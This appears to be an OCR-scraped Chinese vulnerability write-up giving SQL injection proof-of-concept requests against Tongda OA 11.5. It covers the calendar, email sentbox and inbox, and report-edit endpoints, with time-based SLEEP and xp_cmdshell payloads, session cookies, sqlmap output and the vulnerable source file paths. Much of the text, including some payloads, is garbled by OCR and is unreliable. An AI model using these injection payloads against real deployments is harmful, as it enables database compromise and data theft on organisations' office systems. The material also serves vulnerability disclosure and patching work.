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o Office Web B EITRS (:tongdal 1.5 bin OfficeWeb exe
o Office_Task AT SRS C: tongdal 1.5bin/OfficeTask exe
o Office DbProxy  IEAMIBERIERS (- tongdal 1.5 bin OfficeDbProxy.exe

o Office 1M AR ERARS C:tongdal1.5'bin Officelm exe
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i Office Index WreHFERS C: tongdal 1.5 bin Officelndex exe
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imig—: SQL JEN POC:

POST /general/appbuilder/web/calendar/calendarlist/getcallist
HTTP/1.1

o] K BES L
starttime=12&endtime=15&view=month&condition=1

POST /general/appbuilder/web/calendar/calendarlist/getcallist
HTTP/1.1

Host: 192.168.0.107

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:
79.0) Gecko/20100101 Firefox/79.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.
9,1image/webp,*/*;9=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-U
S;09=0.3,en;0=0.2

Connection: close

Cookie: PHPSESSID=rsgpd6j2u@a2qsgbjilvinln44; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=81d423f8
Upgrade-Insecure-Requests: 1

Content-Length: 152
starttime=12&endtime=15&view=month&condition=1

starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIM
E]-CIFCLINFERENCE],@, [SLEEPTIME])))))[RANDSTR])---&endtime=15
98918400&view=month&condition=1



FHAGEAS IR

o Target hit//192.168.0.107

sqlmap B&iiE:

(NULL)
andom num
UNION query
[ QL UNION query
[21 [INF( heck if the injection point
POST parameter 'starttime
sqlmap identified the follc

w=month&condition=1

drHip) AND 'pIwP'

DBMS is MySQL
nx

d data to text files under wei/.sqlmap/output/192.168.0.107"
[WARNING] you haven't updated sqlmap for more than 112 days!!!

[*] ending 0 ®a thelostworld

R X {4

webroot\general\appbuilder\modules\calendar\models\Calendar.p
hp.

JmE—: SQL jFA POC:

GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&bo
xname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&order
by=exec master xp_cmshell'ping 127.0.0.1"'--&pagelimit=20&tag=
xtamp=1598069133&total= HTTP/1.1

[ERAX S EL: orderby



GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&bo
xname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&order
by=exec master xp_cmshell'ping 127.0.0.1'--&pagelimit=208&tag=
xtamp=1598069133&total= HTTP/1.1

Host: 192.168.0.107

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:
79.0) Gecko/20100101 Firefox/79.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.
9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-U
S$;09=0.3,en;0=0.2

Connection: close

Cookie: PHPSESSID=rsgpd6j2u@a2qgqsgbjilvlnln44; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=81d423f8
Upgrade-Insecure-Requests: 1

FILEANFASHREE:

(o] [(Gancai | (C<iv]) [(50 Targee nup 1521680107 (4] (7

e e
)

) (<) [+ (5] [Tomea search rorm O matches ) (<) (2 (50 [Trwessearch o 2 0 marches
Bone 1033 byies | 38 mills

burp ZEEW), MR
sqlmap 39iE, (ZIRIET —T) RIQUERLIN. AT AN EALRRZ

TR webroot\inc\utility_email.php, get_sentbox_data B&
BIRWIEANS BRI IE, BEPHET order by [EE TIERBIEA,

Jmia=: SQL ;A\ POC:

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxn
ame=1inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pag
elimit=10&tag=xtamp=1598069103&total= HTTP/1.1

AR SEN: orderby

GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxn
ame=1inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pag
elimit=10&tag=xtamp=1598069103&total= HTTP/1.1

Y-Raniiact+ad_Wi+h+ YMI H++nRaniiac+



A INLYULOLLU VL L. ZATILTIL LN Y UL O L

Referer: http://192.168.43.169

Cookie: PHPSESSID=54j5v894kbrmSsitdvv8nk4520; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=c9el43ff

Accept: text/html,application/xhtml+xml,application/xml;q=0.
9,*/*;0=0.8

Accept-Encoding: gzip,deflate

Host: 192.168.43.169

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe

bKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/5
37.36
Connection: close

FILEANFAESHREE:

Target: htg://192.168.0.107 ¢ [2

burp S &1, [CIIIRE
sqlmap I8IE, (ZRIBT—T) RIEIUERIN., AU EMMARA,

TR A% webroot\inc\utility_email.php, get_email_data pR%X
BANSERITIE, BEIEHHETE order by FE TEMEN,

i =fREN, SHER—FAEEX TN, AHIHERAK
. (TAEMER)

FHAER sql AN 2 #l sql 7N 3, BUAER—HFM, FHET
ERBER, IheERSERLL

GET- /general/enail/sentbox/get_index_data. php?asc=8&boxid=8boxname=sentbox&curnun=36emailtype=ALLMATL&keyword=sanp lek4Benail. tstEorderby=1&pagel
m’]('?B&(ag—&[lme>[ mp=15 o601 36 t0T8 L= HITP/L.1

GET - /general/email/inbox/
get_index_data. phpTasc=0&bixid=6poxname=inbox&curnum=0&emailtype=ALLMAILSkeyword=8orderby=3—&pagelimit=106tag=6t imes tanp=1598069103&total=
HTTP/1.1

"chelostworld




Jmak: SQL jFAN POC:

GET /general/appbuilder/web/report/repdetail/edit?link_type=f
alse&slot={}&id=2 HTTP/1.1

[EFAESE: id

GET /general/appbuilder/web/report/repdetail/edit?link_type=f
alse&slot={}&id=2 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://192.168.43.169

Cookie: PHPSESSID=547j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=c9el43ff

Accept: text/html,application/xhtml+xml,application/xml;q=0.
9,*/*;0=0.8

Accept-Encoding: gzip,deflate

Host: 192.168.43.169

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/5
37.36

Connection: close

RNEIERE, BXERAS

G Targes. bup:/(182.168.0.107

< =) = Omaches <J=]= wiatches

Done 614 bytes 1237 mills

sqlmap B&ilE:

44=8444) THEN 3 ELSE (SELECT 536@ UNION SELECT 7

ected during run:

xt files under '/Us ei/.sqlmap/output/192
lated sqlmap for more than 112 days!!!

[*] ending @

% thelostworld
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IR :
webroot\general\appbuilder\modules\report\controllers\Repde
tailController.php, actionEdit R HEE — $_GET["id"]; &
238, BHEER SQL &, BT SAL EAN,

R ARRINIAE:

http://127.0.0.1/general/calendar/arrange/get_cal_list.php?st
arttime=1595779200&endtime=15994080008&view=agendaDay

RS ECRKB M FIEER MM ENINIER, AibhYRTENR
BIRKHEIEE,

BREADER: RRRPEIEMNZWENER, HTAENIHE
SRR ERXN, RERXNEVCER, FTAREELE)EIEUE.

SENE:

Z1%E Sec (https://mp.weixin.qg.com/s/3bl7v-
hv4rMUNnCITOGLkJA)

RIAFER: PBRMZET A, 2F (BF) AIEFAXGENE, (XM
LEMRSHFEZH, KB R



